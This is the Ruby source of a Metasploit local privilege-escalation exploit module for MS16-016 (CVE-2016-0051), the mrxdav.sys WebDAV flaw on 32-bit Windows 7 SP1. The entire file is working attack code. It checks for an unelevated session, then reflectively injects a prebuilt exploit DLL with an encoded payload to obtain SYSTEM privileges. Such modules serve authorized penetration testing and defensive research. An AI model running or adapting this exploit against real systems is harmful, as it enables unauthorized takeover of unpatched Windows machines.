MS16-016 mrxdav.sys WebDav Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation',
      'Description'    => %q{
        This module exploits the vulnerability in mrxdav.sys described by MS16-016.  The module will spawn
        a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing
        the specified payload within the context of the elevated process.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tamas Koczka',                               # Original Exploit
          'William Webb <william_webb[at]rapid7.com>'   # C port and Metasploit module
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => false
        },
      'Targets'        =>
        [
          [ 'Windows 7 SP1', { } ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'CVE', '2016-0051' ],
          [ 'MSB', 'MS16-016'  ]
        ],
      'DisclosureDate' => '2016-02-09',
      'DefaultTarget'  => 0
    }))
  end

  def check
    if sysinfo["Architecture"] == ARCH_X64
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo["Architecture"] == ARCH_X64
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    print_status('Launching a process to host the payload DLL, then reflectively injecting the DLL and running it...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll"),
      encoded_payload
    )
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    sleep(3)
  end
 end